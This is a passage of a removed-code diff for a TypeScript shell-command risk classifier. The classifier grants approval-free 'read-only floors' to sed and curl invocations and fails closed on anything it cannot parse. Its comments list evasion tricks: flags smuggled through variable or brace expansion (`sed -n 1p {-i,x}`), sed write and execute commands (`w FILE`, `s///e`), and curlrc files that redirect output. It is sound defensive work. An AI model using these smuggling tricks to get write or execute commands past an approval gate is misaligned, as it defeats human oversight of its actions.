- // silently passed).
1035
- //
1036
- // Forfeiting is cheap: the command simply stays unclassified, which the
1037
- // `when:` evaluator treats as risk-bearing at the "high" rung (approval-
1038
- // gated, never hard-blocked at `severity_at_least: critical`). Under-
1039
- // blocking is not cheap. Over-block a read, never under-block a write.
1040
- //
1041
- // `decodeShellWord` is used here on the PERMISSIVE side (to EXEMPT a
1042
- // command), which `shell-word.ts`'s module header explicitly calls out as
1043
- // outside its `raw || decoded` direction rule. That is safe here BY
1044
- // CONSTRUCTION rather than by argument: (1) the decoder returns the RAW
1045
- // token unchanged for anything it cannot resolve, and a raw token with
1046
- // quoting still in it does not match any allowlist entry, so an incomplete
1047
- // decode forfeits the floor; (2) a token whose RAW form is not a flag but
1048
- // whose DECODED form is (`"-o"`), or vice versa, is rejected outright
1049
- // rather than classified under either reading.
1050
- /**
1051
- * Characters whose UNQUOTED appearance in a token means the shell rewrites
1052
- * that token into text this classifier never sees, and, critically, can
1053
- * rewrite ONE token into SEVERAL argv words, which is how a write flag
1054
- * gets past a token-shape allowlist: `sed $FLAGS f` with
1055
- * `FLAGS='-i'`, `sed -n 1p {-i,x}` (brace expansion), or a glob whose
1056
- * match starts with `-`. `$` and a backtick also cover command
1057
- * substitution that the `hasUnsafeShellMetachar` preamble does not already
1058
- * refuse (`$(`, a backtick and every chaining metacharacter are refused
1059
- * there first).
1060
- *
1061
- * Quoting is honoured: inside `'single quotes'` every one of these is
1062
- * literal, and inside `"double quotes"` the glob/brace characters are
1063
- * literal while `$` and a backtick stay live. That is what keeps
1064
- * `sed -n '$p' f` on the floor while `sed -n "/$X/p" f` forfeits it.
1065
- * Quote your script to keep the floor.
1066
- */
1067
- const LIVE_EXPANSION_CHARS = new Set([
1068
- "$", "`", "{", "}", "*", "?", "[", "]",
1069
- ]);
1070
- /** Glob/brace characters, literal inside double quotes; `$`/backtick are not. */
1071
- const DOUBLE_QUOTE_INERT_EXPANSION_CHARS = new Set([
1072
- "{", "}", "*", "?", "[", "]",
1073
- ]);
1074
- /**
1075
- * True when `token` contains a shell expansion (see `LIVE_EXPANSION_CHARS`)
1076
- * that is NOT quoted away. An unterminated quote run (the `'A:` / `b'` pair
1077
- * a whitespace tokenizer produces for `-H 'A: b'`) is treated as quoted to
1078
- * its end, which is what bash does across the whitespace this tokenizer
1079
- * split on.
1080
- */
1081
- function hasLiveShellExpansion(token) {
1082
- let quote = null;
1083
- for (let i = 0; i < token.length; i += 1) {
1084
- const ch = token[i];
1085
- if (quote !== "'" && ch === "\\") {
1086
- i += 1; // backslash escapes the next character outside single quotes
1087
- continue;
1088
- }
1089
- if (quote === null && (ch === "'" || ch === '"')) {
1090
- quote = ch;
1091
- continue;
1092
- }
1093
- if (quote !== null && ch === quote) {
1094
- quote = null;
1095
- continue;
1096
- }
1097
- if (quote === "'")
1098
- continue;
1099
- if (quote === '"' && DOUBLE_QUOTE_INERT_EXPANSION_CHARS.has(ch))
1100
- continue;
1101
- if (LIVE_EXPANSION_CHARS.has(ch))
1102
- return true;
1103
- }
1104
- return false;
1105
- }
1106
- /**
1107
- * Splits a metachar-cleared command into `[head, ...rest]` and applies the
1108
- * two preconditions the floor below needs: the head must be the exact
1109
- * binary name (no path prefix, the same tightness as
1110
- * `isReadOnlyKubectlCommand`'s `tokens[0] !== "kubectl"`), and no token may
1111
- * carry a live shell expansion. Returns `null` when the command is not a
1112
- * floorable invocation of `bin`.
1113
- *
1114
- * Parameterised by `bin` rather than hard-coded to `sed`: it was shared
1115
- * with the `curl` floor D-013 removed, and the parameter keeps the head
1116
- * check honest (an exact match, not a prefix) for whichever binary a
1117
- * future floor names.
1118
- */
1119
- function floorArgv(command, bin) {
1120
- const trimmed = command.trim();
1121
- if (trimmed === "")
1122
- return null;
1123
- if (hasUnsafeShellMetachar(trimmed))
1124
- return null;
1125
- const tokens = trimmed.split(/\s+/);
1126
- if (tokens[0] !== bin)
1127
- return null;
1128
- const rest = tokens.slice(1);
1129
- if (rest.length === 0)
1130
- return null;
1131
- if (rest.some(hasLiveShellExpansion))
1132
- return null;
1133
- return rest;
1134
- }
1135
- const CLUSTER_FORFEIT = { kind: "forfeit" };
1136
- /**
1137
- * Walk a single-dash short-flag cluster CHARACTER BY CHARACTER, which is
1138
- * the whole point of the floor's short-flag handling: `-ni f` must forfeit
1139
- * on the `i` even though it starts with an allowlisted `n`.
1140
- *
1141
- * Every character must be in `noValueChars` until the first character
1142
- * `isValueChar` claims. That character consumes the REST of the cluster as
1143
- * its glued value, or `nextToken` when nothing is glued, and `onValue`
1144
- * decides whether the value keeps the floor. `onValue` returning `false`,
1145
- * an empty cluster, or an unrecognised character all forfeit.
1146
- *
1147
- * `isReadOnlySedCommand` is its only caller since D-013 removed the `curl`
1148
- * floor. Kept as its own function rather than inlined: it is the
1149
- * security-relevant half of the sed floor and is exercised directly by the
1150
- * cluster cases in tests/runtime/read-only-floors.test.ts.
1151
- */
1152
- function walkShortFlagCluster(chars, noValueChars, isValueChar, onValue, nextToken) {
1153
- if (chars.length === 0)
1154
- return CLUSTER_FORFEIT;
1155
- for (let j = 0; j < chars.length; j += 1) {
1156
- const c = chars[j];
1157
- if (isValueChar(c)) {
1158
- const glued = chars.slice(j + 1);
1159
- if (!onValue(c, glued, nextToken))
1160
- return CLUSTER_FORFEIT;
1161
- return { kind: "ok", consumedNext: glued.length === 0 };
1162
- }
1163
- if (!noValueChars.has(c))
1164
- return CLUSTER_FORFEIT;
1165
- }
1166
- return { kind: "ok", consumedNext: false };
1167
- }
1168
- // --- sed -------------------------------------------------------------------
1169
- /** `sed` flags that take no value and cannot write. */
1170
- const SED_READ_ONLY_LONG_FLAGS = new Set([
1171
- "--quiet", "--silent", "--regexp-extended", "--separate",
1172
- "--null-data", "--unbuffered", "--posix",
1173
- ]);
1174
- /** `sed` flags whose value is a SCRIPT (scanned by `sedScriptIsReadOnly`). */
1175
- const SED_SCRIPT_LONG_FLAGS = new Set(["--expression"]);
1176
- /** Short-flag cluster characters that take no value and cannot write. */
1177
- const SED_READ_ONLY_SHORT_CHARS = new Set([
1178
- "n", "E", "r", "s", "z", "u",
1179
- ]);
1180
- /** Short-flag cluster characters whose value is a SCRIPT. */
1181
- const SED_SCRIPT_SHORT_CHARS = new Set(["e"]);
1182
- /**
1183
- * `sed` read-only floor for the Risk Classifier ONLY.
1184
- *
1185
- * CORRECTS A FALSE PREMISE this task shipped in round 1 ("without `-i`,
1186
- * sed only writes to stdout"). It does not: sed's `w FILE` command and the
1187
- * `s///w FILE` substitution flag write an operator-named file with no
1188
- * `-i`, no redirection and no shell metacharacter, and `-f SCRIPTFILE`
1189
- * executes a script this classifier never reads. GNU sed's `e` command and
1190
- * `s///e` flag additionally execute a shell command. All four are refused
1191
- * here.
1192
- *
1193
- * `true` requires ALL of: the head is exactly `sed`; no token carries a
1194
- * live shell expansion; every flag is drawn from the read-only allowlist
1195
- * above (so `-i` in every spelling: `-i`, `-i.bak`, `-ni`,
1196
- * `--in-place`, `--in-place=SUFFIX`, and `-f`/`--file` forfeit by never
1197
- * being ON it, not by being enumerated as write flags); and every script
1198
- * (each `-e`/`--expression` value, or the first positional operand when no
1199
- * `-e` was given) parses as a read-only sed program under
1200
- * `sedScriptIsReadOnly`.
1201
- */
1202
- export function isReadOnlySedCommand(command) {
1203
- const rest = floorArgv(command, "sed");
1204
- if (rest === null)
1205
- return false;
1206
- const scripts = [];
1207
- const positionals = [];
1208
- let optionsEnded = false;
1209
- for (let i = 0; i < rest.length; i += 1) {
1210
- const raw = rest[i];
1211
- const decoded = decodeShellWord(raw);
1212
- if (optionsEnded) {
1213
- positionals.push(decoded);
1214
- continue;
1215
- }
1216
- const rawIsFlag = raw.startsWith("-") && raw !== "-";
1217
- const decodedIsFlag = decoded.startsWith("-") && decoded !== "-";
1218
- // A token that is a flag under exactly one of the two readings is
1219
- // unclassifiable: `"-i"` reaches sed as `-i` while looking like an
1220
- // operand. Fail closed rather than pick a reading.
1221
- if (rawIsFlag !== decodedIsFlag)
1222
- return false;
1223
- if (!rawIsFlag) {
1224
- positionals.push(decoded);
1225
- continue;
1226
- }
1227
- if (decoded === "--") {
1228
- optionsEnded = true;
1229
- continue;
1230
- }
1231
- if (decoded.startsWith("--")) {
1232
- const eq = decoded.indexOf("=");
1233
- const name = eq === -1 ? decoded : decoded.slice(0, eq);
1234
- if (SED_SCRIPT_LONG_FLAGS.has(name)) {
1235
- if (eq !== -1) {
1236
- scripts.push(decoded.slice(eq + 1));
1237
- continue;
1238
- }
1239
- i += 1;
1240
- if (i >= rest.length)
1241
- return false; // missing value: fail closed
1242
- scripts.push(decodeShellWord(rest[i]));
1243
- continue;
1244
- }
1245
- if (eq === -1 && SED_READ_ONLY_LONG_FLAGS.has(name))
1246
- continue;
1247
- return false;
1248
- }
1249
- // Short-flag cluster, decomposed CHARACTER BY CHARACTER: every
1250
- // character must be allowlisted, not just the first.
1251
- const walk = walkShortFlagCluster(decoded.slice(1), SED_READ_ONLY_SHORT_CHARS, (c) => SED_SCRIPT_SHORT_CHARS.has(c), (_c, glued, nextToken) => {
1252
- if (glued.length > 0) {
1253
- scripts.push(glued);
1254
- return true;
1255
- }
1256
- if (nextToken === undefined)
1257
- return false; // missing value: fail closed
1258
- scripts.push(decodeShellWord(nextToken));
1259
- return true;
1260
- }, rest[i + 1]);
1261
- if (walk.kind === "forfeit")
1262
- return false;
1263
- if (walk.consumedNext)
1264
- i += 1;
1265
- }
1266
- // With no `-e`, sed's FIRST positional operand is the script; the rest
1267
- // are input files (read-only by construction: an operand that looked
1268
- // like a flag under either reading was already refused above).
1269
- if (scripts.length === 0) {
1270
- const first = positionals[0];
1271
- if (first === undefined)
1272
- return false; // bare `sed`: nothing to prove
1273
- scripts.push(first);
1274
- }
1275
- return scripts.every(sedScriptIsReadOnly);
1276
- }
1277
- /**
1278
- * sed script commands that consume no argument and cannot write: print,
1279
- * delete, hold/pattern-space moves, line number, quit, zap, filename.
1280
- * `l`, `q` and `Q` accept an optional numeric argument, handled below.
1281
- *
1282
- * Everything NOT in this set (plus `s`, `y`, and the branch/label
1283
- * commands handled explicitly) forfeits the floor: `w` and `W` (write a
1284
- * file), `e` (execute a shell command), `r`/`R` (read a file), `a`/`i`/`c`
1285
- * (text whose syntax swallows the rest of the script), `#` (comment), and
1286
- * any command a future sed adds.
1287
- */
1288
- const SED_SAFE_NO_ARG_COMMANDS = new Set([
1289
- "p", "P", "d", "D", "n", "N", "h", "H", "g", "G", "x", "l", "=", "q", "Q", "z", "F",
1290
- ]);
1291
- /** Branch/label commands: control flow only, no I/O. */
1292
- const SED_LABEL_COMMANDS = new Set(["b", "t", "T", ":"]);
1293
- /** `s///` flags that cannot write or execute. `w` and `e` are NOT here. */
1294
- const SED_SAFE_SUBSTITUTION_FLAGS = new Set([
1295
- "g", "p", "i", "I", "m", "M",
1296
- ]);
1297
- /**
1298
- * `true` when `script` parses, end to end, as a sed program built only
1299
- * from the safe command set above. A deliberately small recursive-descent
1300
- * scan rather than a substring search for `w`: a "forfeit on any letter
1301
- * `w`" rule would also forfeit `/warning/p`, and a substring search cannot
1302
- * see the `e` command at all. Anything the scan does not fully understand
1303
- * (an unterminated regex, a custom `\cREGEXc` address delimiter, a
1304
- * command not in the sets above, a trailing argument where a separator
1305
- * must be) returns `false`, so the failure mode is a forfeited floor,
1306
- * never an accepted write.
1307
- */
1308
- function sedScriptIsReadOnly(script) {
1309
- const n = script.length;
1310
- let i = 0;
1311
- let statements = 0;
1312
- while (i < n) {
1313
- const lead = script[i];
1314
- if (lead === ";" || lead === " " || lead === "\t" || lead === "\n" || lead === "}") {
1315
- i += 1;
1316
- continue;
1317
- }
1318
- const afterFirst = readSedAddress(script, i);
1319
- if (afterFirst === -1)
1320
- return false;
1321
- i = afterFirst;
1322
- if (script[i] === ",") {
1323
- i += 1;
1324
- const afterSecond = readSedAddress(script, i);
1325
- if (afterSecond === -1 || afterSecond === i)
1326
- return false; // second address required
1327
- i = afterSecond;
1328
- }
1329
- while (script[i] === "!")
1330
- i += 1;
1331
- while (script[i] === " " || script[i] === "\t")
1332
- i += 1;
1333
- const cmd = script[i];
1334
- if (cmd === undefined)
1335
- return false; // address with no command
1336
- i += 1;
1337
- if (cmd === "{")
1338
- continue; // block open; the block's statements follow
1339
- if (SED_SAFE_NO_ARG_COMMANDS.has(cmd)) {
1340
- while (i < n && script[i] === " ")
1341
- i += 1;
1342
- while (i < n && script[i] >= "0" && script[i] <= "9")
1343
- i += 1; // `l N`, `q N`
1344
- }
1345
- else if (cmd === "s" || cmd === "y") {
1346
- const after = readSedTwoPartCommand(script, i, cmd === "s");
1347
- if (after === -1)
1348
- return false;
1349
- i = after;
1350
- }
1351
- else if (SED_LABEL_COMMANDS.has(cmd)) {
1352
- while (i < n && script[i] === " ")
1353
- i += 1;
1354
- while (i < n && /[A-Za-z0-9_]/.test(script[i]))
1355
- i += 1;
1356
- }
1357
- else {
1358
- return false; // w, W, e, r, R, a, i, c, #, v, and anything unknown
1359
- }
1360
- statements += 1;
1361
- while (i < n && (script[i] === " " || script[i] === "\t"))
1362
- i += 1;
1363
- if (i < n) {
1364
- const sep = script[i];
1365
- // A command must be followed by a separator. `s/a/b/w file` lands
1366
- // HERE, on the `w`, because `w` is not an accepted `s///` flag.
1367
- if (sep !== ";" && sep !== "}" && sep !== "{" && sep !== "\n")
1368
- return false;
1369
- }
1370
- }
1371
- return statements > 0;
1372
- }
1373
- /**
1374
- * Reads one sed ADDRESS starting at `start`. Returns the index after it,
1375
- * `start` itself when no address is present (an address is optional), or
1376
- * `-1` when the address is malformed or uses a form this scan refuses
1377
- * (`\cREGEXc`, an unterminated `/regex/`).
1378
- */
1379
- function readSedAddress(s, start) {
1380
- let i = start;
1381
- const c = s[i];
1382
- if (c === undefined)
1383
- return i;
1384
- if (c === "$")
1385
- return i + 1;
1386
- if (c === "\\")
1387
- return -1; // custom address delimiter: fail closed
1388
- if (c === "+" || c === "~") {
1389
- i += 1;
1390
- const digitsFrom = i;
1391
- while (i < s.length && s[i] >= "0" && s[i] <= "9")
1392
- i += 1;
1393
- return i > digitsFrom ? i : -1;
1394
- }
1395
- if (c >= "0" && c <= "9") {
1396
- while (i < s.length && s[i] >= "0" && s[i] <= "9")
1397
- i += 1;
1398
- if (s[i] === "~") {
1399
- i += 1;
1400
- const digitsFrom = i;
1401
- while (i < s.length && s[i] >= "0" && s[i] <= "9")
1402
- i += 1;
1403
- if (i === digitsFrom)
1404
- return -1;
1405
- }
1406
- return i;
1407
- }
1408
- if (c === "/") {
1409
- i += 1;
1410
- let closed = false;
1411
- while (i < s.length) {
1412
- const ch = s[i];
1413
- if (ch === "\\") {
1414
- i += 2;
1415
- continue;
1416
- }
1417
- if (ch === "/") {
1418
- i += 1;
1419
- closed = true;
1420
- break;
1421
- }
1422
- i += 1;
1423
- }
1424
- if (!closed)
1425
- return -1;
1426
- while (s[i] === "I" || s[i] === "M")
1427
- i += 1;
1428
- return i;
1429
- }
1430
- return i; // no address
1431
- }
1432
- /**
1433
- * Reads an `s<D>regex<D>replacement<D>[flags]` or `y<D>a<D>b<D>` body
1434
- * starting at the delimiter. Returns the index after it, or `-1` when the
1435
- * body is malformed or (for `s`) carries a flag outside
1436
- * `SED_SAFE_SUBSTITUTION_FLAGS`, which is exactly how `s/a/b/w FILE` and
1437
- * `s/a/b/e` forfeit the floor.
1438
- */
1439
- function readSedTwoPartCommand(s, start, isSubstitution) {
1440
- let i = start;
1441
- const delim = s[i];
1442
- if (delim === undefined || delim === "\\" || delim === "\n" || delim === " ")
1443
- return -1;
1444
- i += 1;
1445
- for (let part = 0; part < 2; part += 1) {
1446
- let closed = false;
1447
- while (i < s.length) {
1448
- const ch = s[i];
1449
- if (ch === "\\") {
1450
- i += 2;
1451
- continue;
1452
- }
1453
- if (ch === delim) {
1454
- i += 1;
1455
- closed = true;
1456
- break;
1457
- }
1458
- i += 1;
1459
- }
1460
- if (!closed)
1461
- return -1;
1462
- }
1463
- if (!isSubstitution)
1464
- return i;
1465
- while (i < s.length) {
1466
- const ch = s[i];
1467
- if (ch >= "0" && ch <= "9") {
1468
- i += 1;
1469
- continue;
1470
- }
1471
- if (SED_SAFE_SUBSTITUTION_FLAGS.has(ch)) {
1472
- i += 1;
1473
- continue;
1474
- }
1475
- break;
1476
- }
1477
- return i;
1478
- }
1479
- /**
1480
- * Word separator `splitCurlWords` honors: space and tab only, not JS
1481
- * `\s` (which also matches NBSP, vertical tab, form feed, ideographic
1482
- * space, and line terminators). Round 2 (task fdaad781) narrowed this
1483
- * from `\s`: a non-ASCII or exotic whitespace character bash does not
1484
- * treat as IFS -- an NBSP between `curl` and `-q`, say -- must not glue
1485
- * two argv words into one here the way bash never would. `\n`/`\r`
1486
- * never reach this splitter: `isReadOnlyCurlCommand`'s
1487
- * `hasUnsafeShellMetachar` guard refuses both for the whole command
1488
- * first.
1489
- */
1490
- const CURL_WORD_SEPARATOR_RE = /[ \t]/;
1491
- /**
1492
- * Quote-aware word splitter built ONLY for `isReadOnlyCurlCommand`. Unlike
1493
- * every other floor in this file, which treats `trimmed.split(/\s+/)` as
1494
- * "the" tokenizer, this floor cannot: that split tears a quoted value
1495
- * containing a space (`-H 'Accept: application/json'`) into the two raw
1496
- * fragments `'Accept:` and `application/json'`, which this floor's own
1497
- * positive fixtures require to parse as ONE quoted header value.
1498
- *
1499
- * Supports single and double quotes only; no backslash-escape or
1500
- * expansion handling of any kind. Fails closed (`null`) on anything it
1501
- * cannot cleanly resolve: an unterminated quote, or a bare unquoted
1502
- * backslash outside any quote (this splitter has no escape model for it,
1503
- * so refusing the whole command is the safe answer, not guessing one).
1504
- * A word built from more than one quoted/unquoted run glued together with
1505
- * no separating whitespace comes back `composite: true` rather than being
1506
- * rejected outright here: it is a real, distinct shell word (bash would
1507
- * concatenate the runs into one argv entry), just one this floor's shape
1508
- * never allows, so the caller forfeits on it explicitly.
1509
- */
1510
- function splitCurlWords(s) {
1511
- const words = [];
1512
- const n = s.length;
1513
- let i = 0;
1514
- while (i < n) {
1515
- while (i < n && CURL_WORD_SEPARATOR_RE.test(s[i]))
1516
- i += 1;
1517
- if (i >= n)
1518
- break;
1519
- const runs = [];
1520
- while (i < n && !CURL_WORD_SEPARATOR_RE.test(s[i])) {
1521
- const ch = s[i];
1522
- if (ch === "'" || ch === '"') {
1523
- const close = s.indexOf(ch, i + 1);
1524
- if (close === -1)
1525
- return null; // unterminated quote: fail closed
1526
- runs.push({ quote: ch === "'" ? "single" : "double", text: s.slice(i + 1, close) });
1527
- i = close + 1;
1528
- continue;
1529
- }
1530
- if (ch === "\\")
1531
- return null; // unmodelled escape: fail closed
1532
- const start = i;
1533
- while (i < n &&
1534
- !CURL_WORD_SEPARATOR_RE.test(s[i]) &&
1535
- s[i] !== "'" &&
1536
- s[i] !== '"' &&
1537
- s[i] !== "\\") {
1538
- i += 1;
1539
- }
1540
- runs.push({ quote: "none", text: s.slice(start, i) });
1541
- }
1542
- if (runs.length === 0)
1543
- continue;
1544
- if (runs.length === 1) {
1545
- words.push({ content: runs[0].text, quote: runs[0].quote, composite: false });
1546
- }
1547
- else {
1548
- words.push({ content: "", quote: "none", composite: true });
1549
- }
1550
- }
1551
- return words;
1552
- }
1553
- /**
1554
- * curl short-flag cluster characters that take no value: no flag on
1555
- * this list names a file, and the only method any of them selects is
1556
- * HEAD (`-I`), which is read-only (`-s -S -f -I`, in any combination).
1557
- * Round 2 (task fdaad781) dropped `-L` (`--location`) and `-k`
1558
- * (`--insecure`) from this set: `-L` follows a redirect and forwards a
1559
- * custom `-H` header cross-host over plaintext; `-k` is a deliberate
1560
- * TLS-verification bypass that should stay approval-gated. Both now
1561
- * forfeit the shape. See docs/risk-gate.md's curl section for the
1562
- * measurement behind the `-L` finding.
1563
- */
1564
- const CURL_NO_VALUE_SHORT_CHARS = new Set(["s", "S", "f", "I"]);
1565
- /** curl long flags that take no value: no flag on this list names a file, and the only method any of them selects is HEAD (`--head`), which is read-only. See `CURL_NO_VALUE_SHORT_CHARS` for why `--location` and `--insecure` are not on it. */
1566
- const CURL_NO_VALUE_LONG_FLAGS = new Set([
1567
- "--silent", "--show-error", "--fail", "--head",
1568
- ]);
1569
- /**
1570
- * curl long flags whose value is admitted ONLY in the separate-token
1571
- * form (`--header VALUE`, never `--header=VALUE`, checked and rejected
1572
- * before this map is consulted). Value maps to the same key as the
1573
- * matching short flag below, so a repeat count is shared across spellings.
1574
- */
1575
- const CURL_VALUE_LONG_FLAGS = new Map([
1576
- ["--header", "header"],
1577
- ["--max-time", "maxtime"],
1578
- ["--connect-timeout", "connecttimeout"],
1579
- ]);
1580
- /**
1581
- * Shape for the ONE operand this floor admits: `https://`, a host made
1582
- * of letters, digits, `.` and `-` only, an optional `:PORT`, and an
1583
- * optional path with none of curl's globbing characters (`{}[]`), no
1584
- * whitespace, backslash, backtick or `$`. No userinfo (`user:pw@`) is
1585
- * reachable through this shape: the host class has no `:`/`@`, so
1586
- * `https://user:pw@x` cannot match end-to-end. Round 2 (task fdaad781)
1587
- * admits `?` and `*` in the path (previously excluded): the operand is
1588
- * single-quoted, so the shell cannot glob on either character, and
1589
- * curl's own URL-globbing syntax uses only `{}`/`[]`, never `?`/`*`,
1590
- * so admitting them widens no shape gap and closes the most common
1591
- * single-parameter read-only query-string spelling this floor used to
1592
- * forfeit (a MULTI-parameter query string joined by `&` still forfeits
1593
- * even single-quoted -- see docs/risk-gate.md's Residuals for why that
1594
- * stays out of scope). See docs/risk-gate.md's curl section for the
1595
- * measurement behind admitting `?`/`*`. Do not "clean up" further
1596
- * without re-deriving it.
1597
- */
1598
- const CURL_SHAPE_URL_RE = /^https:\/\/[A-Za-z0-9.-]+(:[0-9]+)?(\/[^'\s{}[\]\\`$]*)?$/;
1599
- /**
1600
- * `true` when `value` is an admissible VALUE for the value-taking flag
1601
- * `key` (`"header"` or one of the two timeout keys). `composite` always
1602
- * forfeits (a glued flag+value pair like `-H'X: y'` never reaches a
1603
- * legitimate value this way). A header value must be quoted (either
1604
- * quote character), must not start with `@` after quote-stripping and
1605
- * leading-whitespace trimming (a local-file read; the trim keeps the
1606
- * ALLOW decision on the shape rather than on curl's own header parser,
1607
- * round 4), and must carry no `$` or backtick. A bare `\n` or
1608
- * `\r` can never reach here: `isReadOnlyCurlCommand`'s whole-command
1609
- * `hasUnsafeShellMetachar` guard already refuses both for the entire
1610
- * command before any word is split out, so this function forfeits on
1611
- * neither character itself (round 3, task fdaad781: they were dropped
1612
- * from this regex as dead, unreachable code; see docs/risk-gate.md's
1613
- * curl section for the measurement that motivated the `\r` guard in
1614
- * the first place). A timeout value must be a bare non-negative
1615
- * integer, `^[0-9]+$` exactly.
1616
- */
1617
- function isAllowedCurlFlagValue(key, value) {
1618
- if (value.composite)
1619
- return false;
1620
- if (key === "header") {
1621
- if (value.quote === "none")
1622
- return false;
1623
- if (value.content.trimStart().startsWith("@"))
1624
- return false;
1625
- return !/[\x60$]/.test(value.content);
1626
- }
1627
- return /^[0-9]+$/.test(value.content);
1628
- }
1629
- /**
1630
- * Consume a value-taking flag's value at `words[i + 1]` (the shape
1631
- * requires the separate-token form): validates it and enforces "never
1632
- * repeated" for `key`, updating `valueFlagCounts` in place. Returns the
1633
- * loop index to resume at (`i + 1`, the value's own index, since the
1634
- * `for` loop's own `i += 1` then advances past it), or `null` to forfeit
1635
- * the whole command. Shared by both value-taking-flag call sites in
1636
- * `isReadOnlyCurlCommand` (the long-flag branch and the standalone
1637
- * `-H`/`-m` branch) so the repeat-count bookkeeping has one home.
1638
- */
1639
- function consumeCurlFlagValue(words, i, key, valueFlagCounts) {
1640
- const value = words[i + 1];
1641
- if (value === undefined || !isAllowedCurlFlagValue(key, value))
1642
- return null;
1643
- const count = (valueFlagCounts.get(key) ?? 0) + 1;
1644
- if (count > 1)
1645
- return null; // repeated value-taking flag: forfeit
1646
- valueFlagCounts.set(key, count);
1647
- return i + 1;
1648
- }
1649
- /**
1650
- * curl read-only SHAPE floor for the Risk Classifier ONLY (task fdaad781,
1651
- * decision D-026, round 2 hardening). Composes exactly like the sed and
1652
- * kubectl floors above: it never sinks below an operator classifier,
1653
- * and only the DESTRUCTIVE floor (evaluated first in
1654
- * `risk-classifier.ts`) can raise above it. This comment states only
1655
- * the grammar; see docs/risk-gate.md's "curl read-only SHAPE floor"
1656
- * section for the full history (D-013's two leaked flag lists), the
1657
- * round-2 changes (mandatory `-q`, dropped `-L`/`-k`, the `\r`/query-
1658
- * string fixes), the residuals, and the operator escape hatch.
1659
- *
1660
- * `true` requires ALL of: no shell chaining, redirection, substitution,
1661
- * or background `&` anywhere in the whole command (the same whole-string
1662
- * guard every other floor in this file uses); the head word is exactly
1663
- * `curl` (unquoted, not composite -- no path prefix, no `env`/`command`/
1664
- * `sudo`/other wrapper, those are other heads and forfeit here); the
1665
- * SECOND word is exactly `-q` or `--disable` (unquoted, not composite,
1666
- * not inside a cluster, not merely present later -- curl only honors it
1667
- * as the first argument, and skipping it leaves `$CURL_HOME/.curlrc` /
1668
- * `$XDG_CONFIG_HOME/curlrc` / `~/.curlrc` free to set `output`,
1669
- * `request`, `data`, or `upload-file` underneath every other spelling
1670
- * this shape would otherwise accept -- see docs/risk-gate.md's curl
1671
- * section for the measurement); every remaining word is either a flag
1672
- * drawn from the closed allowlists above (no flag on this list names a
1673
- * file, and the only method any of them selects is HEAD, which is
1674
- * read-only; curl's config surface is closed off by the mandatory
1675
- * `-q`; a value-taking flag consumed only in its separate-token form,
1676
- * and never repeated) or the SINGLE operand, which must be a single-quoted,
1677
- * unbroken word matching `CURL_SHAPE_URL_RE`. Any composite word, any
1678
- * unknown flag, any `=`-glued flag, any second operand, or a missing
1679
- * operand forfeits the whole command.
1680
- */
1681
- export function isReadOnlyCurlCommand(command) {
1682
- const trimmed = command.trim();
1683
- if (trimmed === "")
1684
- return false;
1685
- if (hasUnsafeShellMetachar(trimmed))
1686
- return false;
1687
- const words = splitCurlWords(trimmed);
1688
- if (words === null || words.length === 0)
1689
- return false;
1690
- const head = words[0];
1691
- if (head.composite || head.quote !== "none" || head.content !== "curl")
1692
- return false;
1693
- // Mandatory `-q`/`--disable` as the SECOND word (curl only honors it
1694
- // as the first argument): closes the curlrc auto-load residual, see
1695
- // this function's docstring above.
1696
- const disableWord = words[1];
1697
- if (disableWord === undefined ||
1698
- disableWord.composite ||
1699
- disableWord.quote !== "none" ||
1700
- (disableWord.content !== "-q" && disableWord.content !== "--disable")) {
1701
- return false;
1702
- }
1703
- let urlWord = null;
1704
- const valueFlagCounts = new Map();
1705
- for (let i = 2; i < words.length; i += 1) {
1706
- const w = words[i];
1707
- if (w.composite)
1708
- return false;
1709
- if (w.quote === "none" && w.content.startsWith("-") && w.content !== "-") {
1710
- const t = w.content;
1711
- if (t.startsWith("--")) {
1712
- if (t.includes("="))
1713
- return false; // `--flag=value` glued form: forfeit
1714
- if (CURL_NO_VALUE_LONG_FLAGS.has(t))
1715
- continue;
1716
- const key = CURL_VALUE_LONG_FLAGS.get(t);
1717
- if (key === undefined)
1718
- return false; // not on the closed list
1719
- const next = consumeCurlFlagValue(words, i, key, valueFlagCounts);
1720
- if (next === null)
1721
- return false;
1722
- i = next;
1723
- continue;
1724
- }
1725
- if (t === "-H" || t === "-m") {
1726
- const key = t === "-H" ? "header" : "maxtime";
1727
- const next = consumeCurlFlagValue(words, i, key, valueFlagCounts);
1728
- if (next === null)
1729
- return false;
1730
- i = next;
1731
- continue;
1732
- }
1733
- // Any other short flag or cluster: every character must be a
1734
- // no-value char. `-H`/`-m` are recognised only as a WHOLE token
1735
- // above, never as a cluster member, so `-sH` and `-mS` forfeit here.
1736
- const clusterChars = t.slice(1);
1737
- if (clusterChars.length === 0)
1738
- return false;
1739
- if (![...clusterChars].every((c) => CURL_NO_VALUE_SHORT_CHARS.has(c)))
1740
- return false;
1741
- continue;
1742
- }
1743
- // Not a recognised flag token: the operand. A second operand (or a
1744
- // quoted/mis-spelled flag that fell through to here) forfeits.
1745
- if (urlWord !== null)
1746
- return false;
1747
- urlWord = w;
1748
- }
1749
- if (urlWord === null)
1750
- return false;
1751
- if (urlWord.composite || urlWord.quote !== "single")
1752
- return false;
1753
- return CURL_SHAPE_URL_RE.test(urlWord.content);
1754
- }
1755
- /**
1756
- * Returns true when `t` (with any trailing `=VALUE` glue stripped) is a
1757
- * GNU/BSD `getopt_long` ABBREVIATION of `fullFlag`: a prefix (including
1758
- * the full spelling) of `fullFlag`, at least `minPrefixLen` characters
1759
- * past the leading `--`.
1760
- * `getopt_long` accepts ANY prefix of a long option name that resolves
1761
- * unambiguously against the rest of that binary's option table (`sort
1762
- * --out=x` runs as `--output=x`) — see the per-call-site comments below
1763
- * for the measured minimum (task dd055c1d, this run: BSD sort on macOS
1764
- * 26 `/usr/bin/sort`, GNU coreutils sort 9.11 via Homebrew `gsort`, and
1765
- * `file` 5.41 `/usr/bin/file`; all measured with the created artefact —
1766
- * an output file, a temp file, or a canary touched by an executed
1767
- * `--compress-program` — as ground truth, not the exit code).
1768
- *
1769
- * Per the module's fail-closed contract (spec dd055c1d): rebuilding the
1770
- * FULL ambiguity table (which prefixes collide with every OTHER long
1771
- * option the binary happens to have) is deliberately NOT attempted.
1772
- * Instead this is a TRUE prefix test against one named flag, gated at
1773
- * the measured minimum length — a length shorter than that measured
1774
- * minimum was observed "ambiguous" (rejected, not executed) on at least
1775
- * one of the binaries tested, so treating it as a write would be
1776
- * speculative, not conservative. A true-prefix test can never fire on
1777
- * an unrelated option: two different flags' names diverge at some
1778
- * character, and the shorter one stops matching there (`--che` is not a
1779
- * prefix of `--compile`, `--k` is not a prefix of `--output`), so this
1780
